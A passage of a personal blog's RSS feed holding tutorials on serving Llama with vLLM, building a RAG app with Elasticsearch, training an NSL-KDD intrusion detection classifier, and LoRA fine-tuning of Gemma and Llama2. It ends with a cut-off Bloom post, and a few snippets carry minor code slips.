Locally with Dual RTX 4090"><p>Hosting large language models (LLMs) like Llama on local hardware provides the flexibility to handle sensitive data in-house while maximizing performance using advanced GPUs like the RTX 4090. In this post, I&#x2019;ll walk you through how to set up Llama (Meta-Llama-3.1-70B) on an Ubuntu server using dual RTX 4090 GPUs. I will use <strong>vLLM</strong> as the backend for efficient model serving.</p><h2 id="creating-a-virtual-environment"><strong>Creating a Virtual Environment</strong></h2><pre><code class="language-python">python3 -m venv .venv
source .venv/bin/activate</code></pre><p>This command creates and activates a virtual environment named <code>.venv</code>, which isolates dependencies and packages for your project.</p><h2 id="installing-vllm"><strong>Installing vLLM</strong></h2><pre><code class="language-python">pip install vllm</code></pre><p><strong>vLLM</strong> is a high-performance backend server specifically designed for efficient serving of large language models. It allows you to expose LLMs as APIs that can be queried from external applications. Unlike traditional model-serving frameworks, vLLM is optimized for low-latency inference and supports advanced features like tensor parallelism (for distributing models across multiple GPUs).</p><p>By installing <code>vllm</code>, I am setting up the infrastructure needed to handle model requests and interact with our Llama model via an API.</p><h2 id="installing-tokenizers"><strong>Installing </strong>Tokenizers</h2><pre><code class="language-python">pip install tokenizers==0.19.0</code></pre><p>The <strong>tokenizers</strong> library is crucial for breaking down input text into tokens that the model understands. Different models use different tokenization schemes, so it&apos;s essential to have the correct version. Here, I am installing version 0.19.0 to ensure compatibility with the Llama model.</p><h2 id="installing-tokenizers-1"><strong>Installing </strong>Tokenizers</h2><h2 id></h2><pre><code class="language-python">python3 -m vllm.entrypoints.openai.api_server \
  --model neuralmagic/Meta-Llama-3.1-70B-Instruct-quantized.w4a16 \
  --served-model-name meta-llama/Meta-Llama-3.1-70B-Instruct \
  --tensor-parallel-size 2 \
  --gpu-memory-utilization 0.98 \  
  --host 0.0.0.0 \
  --port 8000 \
  --max_model_len 8192</code></pre><p>This command launches the <strong>vLLM server</strong> with the necessary parameters to serve the Llama model. Let&apos;s break down each part in detail:</p><ol><li>Loading the Quantized Model</li></ol><pre><code class="language-python">--model neuralmagic/Meta-Llama-3.1-70B-Instruct-quantized.w4a16</code></pre><p>Quantization reduces the precision of the model weights (in this case, 4-bit weights with 16-bit activations) to decrease the size and speed up inference without significantly impacting accuracy. The <code>neuralmagic/Meta-Llama-3.1-70B-Instruct-quantized.w4a16</code> model is a quantized version of the 70B Llama model, which makes it feasible to host on even high-end hardware like dual RTX 4090 GPUs.</p><ol start="2"><li> Defining the Model Name for Serving</li></ol><pre><code class="language-python">--served-model-name meta-llama/Meta-Llama-3.1-70B-Instruct</code></pre><p>This parameter specifies the name by which the model will be identified when making API requests. It is especially useful if you plan to serve multiple models in the future, as each can be uniquely named and referenced.</p><ol start="3"><li>Setting Tensor Parallelism for Multi-GPU Use</li></ol><pre><code class="language-python">--tensor-parallel-size 2</code></pre><p>Since I have two RTX 4090 GPUs, I set the tensor parallel size to 2. <strong>Tensor parallelism</strong> allows the model to split its operations across multiple GPUs, effectively sharing the load and accelerating inference. The large size of the Llama model (70B parameters) makes this kind of parallelism essential for efficient processing.</p><ol start="4"><li>Configuring GPU Memory Utilization</li></ol><pre><code class="language-python">--gpu-memory-utilization 0.98</code></pre><p>This parameter ensures that nearly all available GPU memory (98%) is utilized, maximizing the model&#x2019;s performance without hitting memory limits. The dual RTX 4090 GPUs have enough memory to comfortably handle this high utilization rate, allowing me to process larger batches of data or longer sequences.</p><ol start="5"><li>Setting the Host Address</li></ol><p>By setting the host to <code>0.0.0.0</code>, the server listens on all available network interfaces. This is crucial if you want to access the model API from external machines on your network, such as other servers or workstations.</p><ol start="6"><li>Setting the Port</li></ol><pre><code class="language-python">--port 8000</code></pre><p>The port number defines where the API server will be accessible. Port <code>8000</code> is a common choice, but you can change it based on your network configuration or preferences.</p><ol start="7"><li>Defining Maximum Model Length</li></ol><pre><code class="language-python">--max_model_len 8192</code></pre><p>This parameter sets the maximum length (in tokens) that the model can process in a single request. Large language models like Llama can handle extensive inputs, and setting this value to <code>8192</code> ensures that even longer sequences of text can be handled efficiently.</p><h2 id="conclusion"><strong>Conclusion</strong></h2><p>By following the steps above, I have successfully hosted the Llama model on an Ubuntu server using dual RTX 4090 GPUs. With <strong>vLLM</strong> acting as the backend server, I now have a scalable, high-performance API that can handle real-time Llama model inference requests. This setup leverages GPU parallelism and model quantization to optimize performance while ensuring that your hardware is fully utilized.</p><p>Now, I can integrate this locally hosted model into various applications, whether for research, development, or deployment in production environments.</p>]]></content:encoded></item><item><title><![CDATA[RAG Using Llama3]]></title><description><![CDATA[<p>Retrieval-Augmented Generation (RAG) is crucial for companies with private documents, enhancing response accuracy by combining retrieval and generation. It allows accessing relevant internal data without relying on external APIs, ensuring data security and confidentiality while providing contextually accurate and coherent answers for applications like chatbots and virtual assistants.</p><p></p><p>In this</p>]]></description><link>https://blog.mohammedx.tech/rag-using-llama3/</link><guid isPermaLink="false">66734e132074360001f33d57</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 21:38:25 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/ai-chatbot-agency-2024.webp" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/ai-chatbot-agency-2024.webp" alt="RAG Using Llama3"><p>Retrieval-Augmented Generation (RAG) is crucial for companies with private documents, enhancing response accuracy by combining retrieval and generation. It allows accessing relevant internal data without relying on external APIs, ensuring data security and confidentiality while providing contextually accurate and coherent answers for applications like chatbots and virtual assistants.</p><p></p><p>In this blog post, I will create a Streamlit application that allows users to index documents and ask questions about them. I will use Elasticsearch for document storage and retrieval, and a local language model API for generating responses.</p><h2 id="setup">Setup</h2><p>First, ensure you have all the required dependencies installed:</p><pre><code class="language-python">pip install streamlit elasticsearch sentence-transformers requests</code></pre><p>Initializing Elasticsearch and SentenceTransformer</p><pre><code class="language-python">import streamlit as st
from elasticsearch import Elasticsearch
from sentence_transformers import SentenceTransformer
import requests
import os

es = Elasticsearch(
    hosts=[{&apos;host&apos;: &apos;localhost&apos;, &apos;port&apos;: 9200, &apos;scheme&apos;: &apos;http&apos;}]
)
model_name = &apos;all-MiniLM-L6-v2&apos;
sentence_model = SentenceTransformer(model_name)</code></pre><h2 id="creating-the-elasticsearch-index">Creating the Elasticsearch Index</h2><p>Create an Elasticsearch index to store the documents and their embeddings if it doesn&apos;t already exist.</p><pre><code class="language-python">def create_index():
    if not es.indices.exists(index=&quot;documents&quot;):
        es.indices.create(
            index=&quot;documents&quot;,
            body={
                &quot;mappings&quot;: {
                    &quot;properties&quot;: {
                        &quot;text&quot;: {&quot;type&quot;: &quot;text&quot;},
                        &quot;embedding&quot;: {&quot;type&quot;: &quot;dense_vector&quot;, &quot;dims&quot;: 384}
                    }
                }
            }
        )

create_index()</code></pre><h2 id="indexing-documents">Indexing Documents</h2><p>Function to index a new document by generating its embedding and storing it in Elasticsearch.</p><pre><code class="language-python">def index_document(doc_text):
    embedding = sentence_model.encode(doc_text)
    es.index(
        index=&quot;documents&quot;,
        body={
            &quot;text&quot;: doc_text,
            &quot;embedding&quot;: embedding.tolist()
        }
    )</code></pre><h2 id="handling-user-questions">Handling User Questions</h2><p>Generate the embedding for the user&apos;s question.</p><pre><code class="language-python">def handle_question(question):
    query_embedding = sentence_model.encode(question)</code></pre><p>Retrieving Relevant Documents</p><pre><code class="language-python">response = es.search(
    index=&quot;documents&quot;,
    body={
        &quot;query&quot;: {
            &quot;script_score&quot;: {
                &quot;query&quot;: {&quot;match_all&quot;: {}},
                &quot;script&quot;: {
                    &quot;source&quot;: &quot;cosineSimilarity(params.query_vector, &apos;embedding&apos;) + 1.0&quot;,
                    &quot;params&quot;: {&quot;query_vector&quot;: query_embedding.tolist()}
                }
            }
        },
        &quot;size&quot;: 5
    }
)

retrieved_docs = [hit[&apos;_source&apos;][&apos;text&apos;] for hit in response[&apos;hits&apos;][&apos;hits&apos;]]
context = &quot; &quot;.join(retrieved_docs)</code></pre><p>Calling the Local Language Model API</p><pre><code class="language-python">def call_local_model(user_input):
    url = &quot;http://192.168.1.10:11434/api/chat&quot;
    payload = {
        &quot;model&quot;: &quot;llama3&quot;,
        &quot;messages&quot;: [
            { &quot;role&quot;: &quot;user&quot;, &quot;content&quot;: user_input }
        ],
        &quot;stream&quot;: False
    }
    headers = {
        &quot;Content-Type&quot;: &quot;application/json&quot;
    }
    response = requests.post(url, json=payload, headers=headers)
    
    try:
        response_json = response.json()
        print(response_json)
        return response_json
    except ValueError:
        st.error(&quot;Failed to decode JSON response&quot;)
        return None</code></pre><h2 id="streamlit-app">Streamlit App</h2><p>Initialize Streamlit session state variables.</p><pre><code class="language-python">if &quot;conversation&quot; not in st.session_state:
    st.session_state.conversation = None
if &quot;chat_history&quot; not in st.session_state:
    st.session_state.chat_history = []</code></pre><p>Add a text area to input and index a new document.</p><pre><code class="language-python">st.header(&quot;ASK PDFs :books:&quot;)

new_document = st.text_area(&quot;Add a new document to the index:&quot;)
if st.button(&quot;Index Document&quot;):
    if new_document:
        index_document(new_document)
        st.success(&quot;Document indexed successfully!&quot;)</code></pre><p>Input for user questions and handle them using the previously defined functions.</p><pre><code class="language-python">user_question = st.text_input(&quot;Ask questions about the uploaded document:&quot;)
if user_question:
    handle_question(user_question)</code></pre><h2 id="conclusion">Conclusion</h2><p>In this blog post, I demonstrated how to create a Streamlit application that indexes documents and answers questions about them using Elasticsearch and a local language model API. This application allows users to interactively add documents and retrieve relevant information based on their queries.</p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[AI-Powered IDS]]></title><description><![CDATA[<p>In this blog post, I will walk you through the implementation of an AI-powered Intrusion Detection System (IDS) using machine learning techniques. I will cover the preprocessing of the dataset, building a neural network model, training the model, and evaluating its performance. </p><h2 id="importing-necessary-libraries">Importing Necessary Libraries</h2><p>First, I need to import</p>]]></description><link>https://blog.mohammedx.tech/ai-powered-ids/</link><guid isPermaLink="false">667343b52074360001f33d01</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 20:50:31 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/shutterstock_480872044.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/shutterstock_480872044.jpg" alt="AI-Powered IDS"><p>In this blog post, I will walk you through the implementation of an AI-powered Intrusion Detection System (IDS) using machine learning techniques. I will cover the preprocessing of the dataset, building a neural network model, training the model, and evaluating its performance. </p><h2 id="importing-necessary-libraries">Importing Necessary Libraries</h2><p>First, I need to import the necessary libraries for our project. These include libraries for data manipulation, visualization, and building neural networks.</p><pre><code class="language-python">import torch
import torch.nn as nn
import torch.nn.functional as F
import matplotlib.pyplot as plt 
import pandas as pd
%matplotlib inline</code></pre><h2 id="loading-the-dataset">Loading the Dataset</h2><p>Next, I load the training and testing datasets. These datasets contain network traffic data which we will use to train and evaluate our model.</p><pre><code class="language-python">df = pd.read_csv(&apos;./archive/KDDTrain+.txt&apos;, header=None)  
test_df = pd.read_csv(&apos;./archive/KDDTest+.txt&apos;, header=None)  
columns = [
    &apos;duration&apos;, &apos;protocol_type&apos;, &apos;service&apos;, &apos;flag&apos;, &apos;src_bytes&apos;, &apos;dst_bytes&apos;, &apos;land&apos;,
    &apos;wrong_fragment&apos;, &apos;urgent&apos;, &apos;hot&apos;, &apos;num_failed_logins&apos;, &apos;logged_in&apos;, &apos;num_compromised&apos;,
    &apos;root_shell&apos;, &apos;su_attempted&apos;, &apos;num_root&apos;, &apos;num_file_creations&apos;, &apos;num_shells&apos;,
    &apos;num_access_files&apos;, &apos;num_outbound_cmds&apos;, &apos;is_host_login&apos;, &apos;is_guest_login&apos;, &apos;count&apos;,
    &apos;srv_count&apos;, &apos;serror_rate&apos;, &apos;srv_serror_rate&apos;, &apos;rerror_rate&apos;, &apos;srv_rerror_rate&apos;,
    &apos;same_srv_rate&apos;, &apos;diff_srv_rate&apos;, &apos;srv_diff_host_rate&apos;, &apos;dst_host_count&apos;,
    &apos;dst_host_srv_count&apos;, &apos;dst_host_same_srv_rate&apos;, &apos;dst_host_diff_srv_rate&apos;,
    &apos;dst_host_same_src_port_rate&apos;, &apos;dst_host_srv_diff_host_rate&apos;, &apos;dst_host_serror_rate&apos;,
    &apos;dst_host_srv_serror_rate&apos;, &apos;dst_host_rerror_rate&apos;, &apos;dst_host_srv_rerror_rate&apos;,
    &apos;attack&apos;, &apos;level&apos;
]
df.columns = columns
test_df.columns = columns</code></pre><h2 id="data-preprocessing">Data Preprocessing</h2><p>To prepare the data for training, I convert the <code>attack</code> column to a binary format, where &apos;normal&apos; traffic is labeled as 0 and all other traffic is labeled as 1. I also encode categorical variables.</p><pre><code class="language-python">df[&apos;attack_binary&apos;] = df.attack.map(lambda a: 0 if a == &apos;normal&apos; else 1)
df.drop(&apos;attack&apos;, axis=1, inplace=True)

test_df[&apos;attack_binary&apos;] = test_df.attack.map(lambda a: 0 if a == &apos;normal&apos; else 1)
test_df.drop(&apos;attack&apos;, axis=1, inplace=True)

from sklearn import preprocessing
le = preprocessing.LabelEncoder()
clm = [&apos;protocol_type&apos;, &apos;service&apos;, &apos;flag&apos;]
for x in clm:
    df[x] = le.fit_transform(df[x])
    test_df[x] = le.fit_transform(test_df[x])</code></pre><h2 id="feature-selection">Feature Selection</h2><p>I select specific features for our model to train on.</p><pre><code class="language-python">features = [&apos;service&apos;, &apos;flag&apos;, &apos;src_bytes&apos;, &apos;dst_bytes&apos;, &apos;logged_in&apos;, &apos;count&apos;,
       &apos;serror_rate&apos;, &apos;srv_serror_rate&apos;, &apos;same_srv_rate&apos;, &apos;diff_srv_rate&apos;,
       &apos;dst_host_srv_count&apos;, &apos;dst_host_same_srv_rate&apos;,
       &apos;dst_host_diff_srv_rate&apos;, &apos;dst_host_serror_rate&apos;,
       &apos;dst_host_srv_serror_rate&apos;]
X = df[features]
y = df[&apos;attack_binary&apos;]
X = X.values
y = y.values</code></pre><h2 id="splitting-the-dataset">Splitting the Dataset</h2><p>I split the dataset into training and testing sets.</p><pre><code class="language-python">from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=41)
X_train = torch.FloatTensor(X_train)
X_test = torch.FloatTensor(X_test)
y_train = torch.LongTensor(y_train)
y_test = torch.LongTensor(y_test)</code></pre><h2 id="building-the-neural-network-model">Building the Neural Network Model</h2><p>I define our neural network architecture.</p><pre><code class="language-python">class Model(nn.Module):
    def __init__(self, in_features=15, h1=30, h2=30, h3=30, out_features=2):
        super().__init__()
        self.fc1 = nn.Linear(in_features, h1)
        self.fc2 = nn.Linear(h1, h2)
        self.fc3 = nn.Linear(h2, h3)
        self.out = nn.Linear(h3, out_features)

    def forward(self, x):
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = F.relu(self.fc3(x))
        x = self.out(x)
        return x</code></pre><h2 id="training-the-model">Training the Model</h2><p>I initialize the model, define the loss function and optimizer, and then train the model.</p><pre><code class="language-python">torch.manual_seed(41)
model = Model()
weights = torch.tensor([0.5, 3.0], dtype=torch.float32)  # Increase the weight for the &apos;attack&apos; class
criterion = nn.CrossEntropyLoss(weight=weights)
optimizer = torch.optim.Adam(model.parameters(), lr=0.01)
epochs = 600
losses = []
for i in range(epochs):
    y_pred = model.forward(X_train)
    loss = criterion(y_pred, y_train)
    losses.append(loss.detach().numpy())
    if i % 10 == 0:
        print(f&apos;Epoch: {i} and loss: {loss}&apos;)
    optimizer.zero_grad()
    loss.backward()
    optimizer.step()
plt.plot(range(epochs), losses)
plt.ylabel(&quot;loss/errors&quot;)
plt.xlabel(&apos;Epoch&apos;)</code></pre><h2 id="evaluating-the-model">Evaluating the Model</h2><p>I evaluate the model&apos;s performance on the test set.</p><pre><code class="language-python">with torch.no_grad():
    y_eval = model.forward(X_test)
    loss = criterion(y_eval, y_test)
correct = 0 
with torch.no_grad():
    for i, data in enumerate(X_test):
     y_val = model.forward(data)
     print(f&apos;{i+1}.) {str(y_val)} \t {y_test[i]} \t {y_val.argmax().item()}&apos;)
     if y_val.argmax().item() == y_test[i]:
        correct+=1
print(correct)</code></pre><h2 id="model-metrics">Model Metrics</h2><p>I calculate accuracy, precision, recall, and plot the confusion matrix.</p><pre><code class="language-python">import torch
from sklearn.metrics import accuracy_score, classification_report, precision_score, recall_score
model.eval()
predictions = []
labels = []
with torch.no_grad():
    for data, label in zip(X_test, y_test):
        y_val = model(data.unsqueeze(0))  
        _, predicted = torch.max(y_val, dim=1)
        predictions.append(predicted.item())
        labels.append(label.item())

accuracy = accuracy_score(labels, predictions)
precision = precision_score(labels, predictions, average=&apos;weighted&apos;)
recall = recall_score(labels, predictions, average=&apos;weighted&apos;)
report = classification_report(labels, predictions)
print(f&apos;Accuracy: {accuracy * 100:.2f}%&apos;)
print(f&apos;Precision: {precision * 100:.2f}%&apos;)
print(f&apos;Recall: {recall * 100:.2f}%&apos;)
print(&quot;Classification Report:&quot;)
print(report)</code></pre><h2 id="confusion-matrix">Confusion Matrix</h2><p>Finally, I will visualize the confusion matrix to understand the performance of our model better.</p><pre><code class="language-python">from sklearn.metrics import classification_report, accuracy_score, precision_score, recall_score, confusion_matrix
import seaborn as sns

neuralnetwork = confusion_matrix(labels, predictions)
plt.figure(figsize=(8, 6))
sns.heatmap(neuralnetwork, annot=True, fmt=&apos;d&apos;, cmap=&apos;Blues&apos;, xticklabels=[&apos;Negative&apos;, &apos;Positive&apos;], yticklabels=[&apos;Negative&apos;, &apos;Positive&apos;])
plt.xlabel(&apos;Predicted Label&apos;)
plt.ylabel(&apos;True Label&apos;)
plt.title(&apos;Confusion Matrix&apos;)
plt.show()</code></pre><h2 id="conclusion">Conclusion</h2><p>In this blog post, I built an AI-powered Intrusion Detection System using machine learning techniques. I walked through the steps of data preprocessing, model building, training, and evaluation. By following these steps, you can create a robust IDS to enhance the security of network systems.</p>]]></content:encoded></item><item><title><![CDATA[Fine-Tuning Gemma Google]]></title><description><![CDATA[<p>In this blog post, I will explore the process of finetuning a language model using Low-Rank Adaptation (LoRA). I will cover everything from setting up the environment to training and evaluating the model on a dataset of quotes.</p><h2 id="setting-up-the-environment">Setting Up the Environment</h2><p>First, I need to install the necessary libraries.</p>]]></description><link>https://blog.mohammedx.tech/fine-tuning-gemma-google/</link><guid isPermaLink="false">667342932074360001f33cdf</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 20:45:59 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/gemma-header.width-1200.format-webp.webp" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/gemma-header.width-1200.format-webp.webp" alt="Fine-Tuning Gemma Google"><p>In this blog post, I will explore the process of finetuning a language model using Low-Rank Adaptation (LoRA). I will cover everything from setting up the environment to training and evaluating the model on a dataset of quotes.</p><h2 id="setting-up-the-environment">Setting Up the Environment</h2><p>First, I need to install the necessary libraries.</p><pre><code class="language-python">!pip3 install -q -U bitsandbytes==0.42.0
!pip3 install -q -U peft==0.8.2
!pip3 install -q -U trl==0.7.10
!pip3 install -q -U accelerate==0.27.1
!pip3 install -q -U datasets==2.17.0
!pip3 install -q -U transformers==4.38.0</code></pre><h2 id="loading-the-model-and-tokenizer">Loading the Model and Tokenizer</h2><p>Next, I will load the model and tokenizer. I am using the <code>AutoTokenizer</code> and <code>AutoModelForCausalLM</code> from the Hugging Face <code>transformers</code> library.</p><pre><code class="language-python">import os
import transformers
import torch
from datasets import load_dataset
from google.colab import userdata
from trl import SFTTrainer
from peft import LoraConfig
from transformers import AutoTokenizer, AutoModelForCausalLM, Trainer
from transformers import BitsAndBytesConfig, GemmaTokenizer

model_id = &quot;google/gemma-2b&quot;
tokenizer = AutoTokenizer.from_pretrained(model_id, token=os.environ[&apos;HF_TOKEN&apos;])
model = AutoModelForCausalLM.from_pretrained(model_id, quantization_config=bnb_config, device_map={&quot;&quot;:0}, token=os.environ[&apos;HF_TOKEN&apos;])</code></pre><h2 id="quantization-configuration">Quantization Configuration</h2><p>I will configure the model to use 4-bit quantization, which allows us to run larger models on smaller hardware.</p><pre><code class="language-python">bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type=&quot;nf4&quot;,
    bnb_4bit_compute_dtype=torch.bfloat16
)</code></pre><h2 id="generating-text-with-the-model">Generating Text with the Model</h2><p>Before we start training, let&apos;s generate some text to see how the model performs out of the box.</p><pre><code class="language-python">text = &quot;Quote: add quote,&quot;
device = &quot;cuda:0&quot;
inputs = tokenizer(text, return_tensors=&quot;pt&quot;).to(device)

outputs = model.generate(**inputs, max_length=50, max_new_tokens=50)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))</code></pre><h2 id="configuring-lora">Configuring LoRA</h2><p>LoRA (Low-Rank Adaptation) helps to efficiently fine-tune models by adding trainable adaptation matrices.</p><pre><code class="language-python">os.environ[&quot;WANDB_DISABLED&quot;] = &quot;false&quot;
lora_config = LoraConfig(
    r=8,
    target_modules=[&quot;q_proj&quot;, &quot;o_proj&quot;, &quot;k_proj&quot;, &quot;v_proj&quot;, &quot;gate_proj&quot;, &quot;up_proj&quot;, &quot;down_proj&quot;],
    task_type=&quot;CAUSAL_LM&quot;,
)</code></pre><h2 id="preparing-the-dataset">Preparing the Dataset</h2><p>I will use the <code>datasets</code> library to load and preprocess the dataset of quotes.</p><pre><code class="language-python">data = load_dataset(&quot;Abirate/english_quotes&quot;)
data = data.map(lambda samples: tokenizer(samples[&quot;quote&quot;]), batched=True)

def formatting_func(example):
    text = f&quot;Quote: {example[&apos;quote&apos;][0]}\nAuthor: {example[&apos;author&apos;][0]}&quot;
    return [text]</code></pre><h2 id="training-the-model">Training the Model</h2><p>I use the <code>SFTTrainer</code> from the <code>trl</code> library to train the model with the LoRA configuration.</p><pre><code class="language-python">trainer = SFTTrainer(
    model=model,
    train_dataset=data[&quot;train&quot;],
    args=transformers.TrainingArguments(
        per_device_train_batch_size=1,
        gradient_accumulation_steps=4,
        warmup_steps=200,
        max_steps=100,
        learning_rate=2e-4,
        fp16=True,
        logging_steps=1,
        output_dir=&quot;outputs&quot;,
        optim=&quot;paged_adamw_8bit&quot;
    ),
    peft_config=lora_config,
    formatting_func=formatting_func,
)

trainer.train()</code></pre><h2 id="evaluating-the-model">Evaluating the Model</h2><p>After training, I can generate text again to see how the model&apos;s performance has improved.</p><pre><code class="language-python">text = &quot;Quote: add quote,&quot;
device = &quot;cuda:0&quot;
inputs = tokenizer(text, return_tensors=&quot;pt&quot;).to(device)

outputs = model.generate(**inputs, max_length=50, max_new_tokens=50)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))</code></pre><h2 id="conclusion">Conclusion</h2><p>I walked through the process of finetuning a language model using LoRA. This method allows for efficient training by focusing on specific layers of the model. I demonstrated how to set up the environment, configure the model, prepare the dataset, and train the model. With this approach, you can adapt large language models to specific tasks with limited computational resources.</p>]]></content:encoded></item><item><title><![CDATA[Fine-Tuning Llama2]]></title><description><![CDATA[<p>In this tutorial, I will walk through the steps to fine-tune LLaMA2 using the Hugging Face Transformers library, along with LoRA (Low-Rank Adaptation) to make the process more efficient.</p><h3 id="setting-up-the-environment">Setting Up the Environment</h3><p>Start by setting up the environment and importing the necessary libraries.</p><pre><code class="language-python">import os
import torch
from datasets</code></pre>]]></description><link>https://blog.mohammedx.tech/fine-tuning-llama2/</link><guid isPermaLink="false">667341492074360001f33cbe</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 20:41:38 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/0x0--1--1.webp" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/0x0--1--1.webp" alt="Fine-Tuning Llama2"><p>In this tutorial, I will walk through the steps to fine-tune LLaMA2 using the Hugging Face Transformers library, along with LoRA (Low-Rank Adaptation) to make the process more efficient.</p><h3 id="setting-up-the-environment">Setting Up the Environment</h3><p>Start by setting up the environment and importing the necessary libraries.</p><pre><code class="language-python">import os
import torch
from datasets import load_dataset
from transformers import (
    AutoModelForCausalLM,
    AutoTokenizer,
    BitsAndBytesConfig,
    HfArgumentParser,
    TrainingArguments,
    pipeline,
    logging,
)
from peft import LoraConfig, PeftModel
from trl import SFTTrainer</code></pre><h3 id="loading-the-dataset">Loading the Dataset</h3><p>Load the dataset that will be used for fine-tuning.</p><pre><code class="language-python">dataset_name = &quot;mlabonne/guanaco-llama2-1k&quot;
dataset = load_dataset(dataset_name, split=&quot;train&quot;)</code></pre><h3 id="configuring-the-model-for-fine-tuning">Configuring the Model for Fine-Tuning</h3><h4 id="bitsandbytes-configuration">BitsAndBytes Configuration</h4><p>Configure the BitsAndBytes settings to enable 4-bit quantization for efficient training.</p><pre><code class="language-python">model_name = &quot;NousResearch/Llama-2-7b-hf&quot;
use_4bit = True
bnb_4bit_compute_dtype = &quot;float16&quot;
bnb_4bit_quant_type = &quot;nf4&quot;
use_nested_quant = False

compute_dtype = getattr(torch, bnb_4bit_compute_dtype)
bnb_config = BitsAndBytesConfig(
    load_in_4bit=use_4bit,
    bnb_4bit_quant_type=bnb_4bit_quant_type,
    bnb_4bit_compute_dtype=compute_dtype,
    bnb_4bit_use_double_quant=use_nested_quant,
)</code></pre><h4 id="loading-the-base-model-and-tokenizer">Loading the Base Model and Tokenizer</h4><p>Load the base LLaMA model and tokenizer.</p><pre><code class="language-python">device_map = {&quot;&quot;: 0}

# Load base model
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    quantization_config=bnb_config,
    device_map=device_map
)
model.config.use_cache = False
model.config.pretraining_tp = 1

# Load LLaMA tokenizer
tokenizer = AutoTokenizer.from_pretrained(model_name, trust_remote_code=True)
tokenizer.pad_token = tokenizer.eos_token
tokenizer.padding_side = &quot;right&quot;</code></pre><h3 id="applying-lora-configuration">Applying LoRA Configuration</h3><p>Configure LoRA for parameter-efficient fine-tuning.</p><pre><code class="language-python">lora_r = 64
lora_alpha = 16
lora_dropout = 0.1

peft_config = LoraConfig(
    lora_alpha=lora_alpha,
    lora_dropout=lora_dropout,
    r=lora_r,
    bias=&quot;none&quot;,
    task_type=&quot;CAUSAL_LM&quot;,
)</code></pre><h3 id="defining-training-arguments">Defining Training Arguments</h3><p>Set up the training arguments for the fine-tuning process.</p><pre><code class="language-python">output_dir = &quot;./results&quot;
num_train_epochs = 1
fp16 = False
bf16 = True
per_device_train_batch_size = 4
gradient_accumulation_steps = 1
save_steps = 0
logging_steps = 25
learning_rate = 2e-4
weight_decay = 0.001
optim = &quot;paged_adamw_32bit&quot;
lr_scheduler_type = &quot;cosine&quot;
max_steps = -1
warmup_ratio = 0.03
group_by_length = True

training_arguments = TrainingArguments(
    output_dir=output_dir,
    num_train_epochs=num_train_epochs,
    per_device_train_batch_size=per_device_train_batch_size,
    gradient_accumulation_steps=gradient_accumulation_steps,
    optim=optim,
    save_steps=save_steps,
    logging_steps=logging_steps,
    learning_rate=learning_rate,
    weight_decay=weight_decay,
    fp16=fp16,
    bf16=bf16,
    max_grad_norm=0.3,
    max_steps=max_steps,
    warmup_ratio=warmup_ratio,
    group_by_length=group_by_length,
    lr_scheduler_type=lr_scheduler_type,
    report_to=&quot;tensorboard&quot;
)</code></pre><h3 id="fine-tuning-the-model">Fine-Tuning the Model</h3><p>Set up the trainer and start the fine-tuning process.</p><pre><code class="language-python">max_seq_length = None
packing = False

trainer = SFTTrainer(
    model=model,
    train_dataset=dataset,
    peft_config=peft_config,
    dataset_text_field=&quot;text&quot;,
    max_seq_length=max_seq_length,
    tokenizer=tokenizer,
    args=training_arguments,
    packing=packing,
)

trainer.train()</code></pre><h3 id="saving-the-fine-tuned-model">Saving the Fine-Tuned Model</h3><p>Save the fine-tuned model for future use.</p><pre><code class="language-python">new_model = &quot;Llama-2-7b-chat-finetune&quot;
trainer.model.save_pretrained(new_model)</code></pre><h3 id="testing-the-fine-tuned-model">Testing the Fine-Tuned Model</h3><p>Generate text using the fine-tuned model to verify its performance.</p><pre><code class="language-python">logging.set_verbosity(logging.CRITICAL)

prompt = &quot;How to fly a plane?&quot;
pipe = pipeline(task=&quot;text-generation&quot;, model=model, tokenizer=tokenizer, max_length=200)
result = pipe(f&quot;&lt;s&gt;[INST] {prompt} [/INST]&quot;)
print(result[0][&apos;generated_text&apos;])</code></pre><h3 id="conclusion">Conclusion</h3><p>I have successfully fine-tuned the LLaMA2 model using LoRA and the Hugging Face Transformers library. This process enables efficient model adaptation even with limited computational resources.</p>]]></content:encoded></item><item><title><![CDATA[Fine-Tuning Bloom AI Model]]></title><description><![CDATA[<p>In this blog post, I will explore how to fine-tune a large language model using LoRA (Low-Rank Adaptation). I will use the <code>bloom-3b</code> model from Hugging Face and perform fine-tuning on the SQuAD v2 dataset.</p><h2 id="setup-and-installation">Setup and Installation</h2><p>First, I need to install the necessary libraries. This includes <code>bitsandbytes</code>, <code>datasets</code></p>]]></description><link>https://blog.mohammedx.tech/fine-tuning-bloom-ai-model/</link><guid isPermaLink="false">6673404c2074360001f33c9c</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Wed, 19 Jun 2024 20:36:07 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2024/06/104_large-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2024/06/104_large-1.jpg" alt="Fine-Tuning Bloom AI Model"><p>In this blog post, I will explore how to fine-tune a large language model using LoRA (Low-Rank Adaptation). I 